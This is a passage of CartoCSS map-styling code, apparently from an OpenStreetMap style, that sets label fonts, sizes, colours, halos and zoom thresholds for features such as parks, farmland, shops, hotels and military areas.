40%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'leisure_playground'] {\n    [way_area >= 150000][zoom >= 14],\n    [way_area >= 80000][zoom >= 15],\n    [way_area >= 20000][zoom >= 16],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: 11;\n      text-dy: 13;\n      text-fill: darken(@park, 60%);\n      text-face-name: @book-fonts;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @standard-wrap-width;\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'leisure_park'][is_building = 'no'],\n  [feature = 'leisure_recreation_ground'][is_building = 'no'],\n  [feature = 'landuse_recreation_ground'][is_building = 'no'],\n  [feature = 'landuse_conservation'][is_building = 'no'],\n  [feature = 'landuse_village_green'][is_building = 'no'],\n  [feature = 'leisure_common'][is_building = 'no'],\n  [feature = 'leisure_garden'][is_building = 'no'],\n  [feature = 'leisure_golf_course'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@park, 60%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'boundary_national_park'][is_building = 'no'],\n  [feature = 'leisure_nature_reserve'][is_building = 'no'] {\n    [zoom >= 8][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@park, 70%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'landuse_quarry'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@quarry, 60%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'landuse_vineyard'][is_building = 'no'],\n  [feature = 'landuse_orchard'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@vineyard, 50%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1.5; /* extra halo needed to overpower the vineyard polygon pattern */\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'landuse_cemetery'][is_building = 'no'],\n  [feature = 'amenity_grave_yard'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@cemetery, 50%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1.5; /* extra halo needed to overpower the cemetery polygon pattern */\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'landuse_residential'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@residential, 50%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'landuse_garages'][is_building = 'no'] {\n    [zoom >= 13][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@garages, 50%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'landuse_field'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@field, 50%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'landuse_meadow'][is_building = 'no'],\n  [feature = 'landuse_grass'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@grass, 50%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'landuse_allotments'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@allotments, 50%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'landuse_forest'][is_building = 'no'] {\n    [zoom >= 8][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@forest, 30%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'landuse_farmyard'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@farmyard, 50%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n  [feature = 'landuse_farm'][is_building = 'no'],\n  [feature = 'landuse_farmland'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@farmland, 50%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'shop_mall'],\n  [feature = 'landuse_retail'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@retail, 50%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'landuse_industrial'][is_building = 'no'],\n  [feature = 'landuse_railway'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@industrial, 60%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'landuse_commercial'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@commercial, 60%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'landuse_brownfield'][is_building = 'no'],\n  [feature = 'landuse_landfill'][is_building = 'no'],\n  [feature = 'landuse_construction'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@construction, 50%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'natural_bay'][zoom >= 14] {\n    text-name: \"[name]\";\n    text-size: 10;\n    text-fill: #6699cc;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'natural_spring'][zoom >= 16] {\n    text-name: \"[name]\";\n    text-size: 10;\n    text-fill: #6699cc;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n    text-dy: 6;\n  }\n\n  [feature = 'tourism_alpine_hut'][zoom >= 15] {\n    text-name: \"[name]\";\n    text-size: 9;\n    text-fill: #6699cc;\n    text-dy: 11;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n    [zoom >= 16] {\n      ele/text-name: \"[ele]\";\n      ele/text-size: 8;\n      ele/text-fill: #6699cc;\n      ele/text-dy: 23;\n      ele/text-face-name: @oblique-fonts;\n      ele/text-halo-radius: 1;\n      ele/text-placement: interior;\n    }\n  }\n\n  [feature = 'amenity_shelter'][zoom >= 17] {\n    text-name: \"[name]\";\n    text-size: 9;\n    text-fill: #6699cc;\n    text-dy: 11;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n    ele/text-name: \"[ele]\";\n    ele/text-size: 8;\n    ele/text-fill: #6699cc;\n    ele/text-dy: 23;\n    ele/text-face-name: @oblique-fonts;\n    ele/text-halo-radius: 1;\n    ele/text-placement: interior;\n  }\n\n  [feature = 'amenity_bank'][zoom >= 17] {\n    text-name: \"[name]\";\n    text-size: 9;\n    text-fill: black;\n    text-dy: 12;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n    text-face-name: @book-fonts;\n  }\n\n  [feature = 'tourism_hotel'],\n  [feature = 'tourism_motel'],\n  [feature = 'tourism_hostel'],\n  [feature = 'tourism_chalet'] {\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: 10;\n      text-fill: #0066ff;\n      text-dy: 13;\n      text-face-name: @book-fonts;\n      text-halo-radius: 1;\n      text-wrap-width: @standard-wrap-width;\n      text-placement: interior;\n      [feature = 'tourism_chalet'] {\n        text-dy: 11;\n      }\n    }\n  }\n\n  [feature = 'amenity_embassy'][zoom >= 17] {\n    text-name: \"[name]\";\n    text-size: 9;\n    text-fill: #0066ff;\n    text-dy: 9;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'tourism_guest_house'][zoom >= 17] {\n    text-name: \"[name]\";\n    text-size: 8;\n    text-fill: #0066ff;\n    text-dy: 10;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'highway_bus_stop'],\n  [feature = 'amenity_fuel'],\n  [feature = 'amenity_bus_station'] {\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: 9;\n      text-fill: @transportation-text;\n      text-dy: 11;\n      text-face-name: @book-fonts;\n      text-halo-radius: 1;\n      text-wrap-width: @standard-wrap-width;\n      text-placement: interior;\n      [feature = 'highway_bus_stop'] {\n        text-dy: 9;\n      }\n    }\n  }\n\n  [feature = 'tourism_camp_site'][zoom >= 17] {\n    text-name: \"[name]\";\n    text-size: 10;\n    text-fill: #0066ff;\n    text-dy: 15;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'tourism_caravan_site'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@campsite, 50%);\n      text-dy: 15;\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'waterway_lock'][zoom >= 15] {\n    text-name: \"[name]\";\n    text-size: 9;\n    text-dy: 10;\n    text-fill: #0066ff;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'leisure_marina'][zoom >= 15] {\n    text-name: \"[name]\";\n    text-size: 8;\n    text-fill: @marina-text;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n    [zoom >= 17] {\n      text-size: 10;\n    }\n  }\n\n  [feature = 'tourism_theme_park'][is_building = 'no'] {\n    [zoom >= 13][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: @theme_park;\n      text-face-name: @bold-fonts; /*rendered bold to improve visibility since theme parks tend to have crowded backgrounds*/\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'tourism_museum'][zoom >= 17] {\n    text-name: \"[name]\";\n    text-size: 10;\n    text-dy: 11;\n    text-fill: #734a08;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'amenity_prison'][zoom >= 17] {\n    text-name: \"[name]\";\n    text-size: 10;\n    text-fill: #734a08;\n    text-dy: 16;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'tourism_attraction'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: #660033;\n      text-face-name: @book-fonts;\n      text-halo-radius: 2;\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'amenity_university'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@school, 70%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'amenity_school'][is_building = 'no'],\n  [feature = 'amenity_college'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@school, 70%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'amenity_kindergarten'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@school, 65%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'man_made_lighthouse'][zoom >= 15] {\n    text-name: \"[name]\";\n    text-size: 9;\n    text-fill: #000033;\n    text-dy: 16;\n    text-face-name: @book-fonts;\n    text-halo-radius: 2;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'man_made_windmill'][zoom >= 17] {\n    text-name: \"[name]\";\n    text-size: 9;\n    text-fill: #734a08;\n    text-dy: 12;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'amenity_hospital'][zoom >= 16] {\n    text-name: \"[name]\";\n    text-fill: #da0092;\n    text-size: 8;\n    text-dy: 10;\n    text-face-name: @book-fonts;\n    text-halo-radius: 2;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'amenity_pharmacy'][zoom >= 17] {\n    text-name: \"[name]\";\n    text-size: 8;\n    text-dy: 10;\n    text-fill: #da0092;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'shop_bakery'],\n  [feature = 'shop_clothes'],\n  [feature = 'shop_fashion'],\n  [feature = 'shop_convenience'],\n  [feature = 'shop_doityourself'],\n  [feature = 'shop_hairdresser'],\n  [feature = 'shop_butcher'],\n  [feature = 'shop_car'],\n  [feature = 'shop_car_repair'],\n  [feature = 'shop_bicycle'],\n  [feature = 'shop_florist'],\n  [feature = 'shop_other']{\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: 10;\n      text-dy: 12;\n      text-fill: #939;\n      text-face-name: @book-fonts;\n      text-halo-radius: 1.5;\n      text-halo-fill: rgba(255, 255, 255, 0.8);\n      text-wrap-width: @standard-wrap-width;\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'shop_supermarket'],\n  [feature = 'shop_department_store'] {\n    [zoom >= 16] {\n      text-name: \"[name]\";\n      text-size: 10;\n      text-dy: 12;\n      text-fill: #939;\n      text-face-name: @book-fonts;\n      text-halo-radius: 1.5;\n      text-halo-fill: rgba(255, 255, 255, 0.8);\n      text-wrap-width: @standard-wrap-width;\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'military_danger_area'][is_building = 'no'] {\n    [zoom >= 9][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@danger_area, 40%);\n      text-face-name: @bold-fonts;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'landuse_military'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@military, 40%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'aeroway_gate'][zoom >= 17] {\n    text-name: \"[ref]\";\n    text-size: 10;\n    text-fill: #aa66cc;\n    text-face-name: @book-fonts;\n    text-halo-radius: 1;\n    text-wrap-width: @standard-wrap-width;\n    text-placement: interior;\n  }\n\n  [feature = 'military_barracks'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@barracks, 40%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'tourism_zoo'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@zoo, 40%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'power_station'][is_building = 'no'][zoom >= 10],\n  [feature = 'power_generator'][is_building = 'no'][zoom >= 10],\n  [feature = 'power_sub_station'][is_building = 'no'][zoom >= 13],\n  [feature = 'power_substation'][is_building = 'no'][zoom >= 13]{\n    [way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@power, 40%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: @landcover-wrap-width-size;\n      [way_pixels > 12000] {text-wrap-width: @landcover-wrap-width-size-big; }\n      [way_pixels > 48000] {text-wrap-width: @landcover-wrap-width-size-bigger; }\n      text-placement: interior;\n    }\n  }\n\n  [feature = 'natural_desert'][is_building = 'no'] {\n    [zoom >= 10][way_pixels > 3000],\n    [zoom >= 17] {\n      text-name: \"[name]\";\n      text-size: @landcover-font-size;\n      [way_pixels > 12000] { text-size: @landcover-font-size-big; }\n      [way_pixels > 48000] { text-size: @landcover-font-size-bigger; }\n      text-fill: darken(@desert, 40%);\n      text-face-name: @landcover-face-name;\n      text-halo-radius: 1;\n      text-halo-fill: rgba(255,255,255,0.6);\n      text-wrap-width: 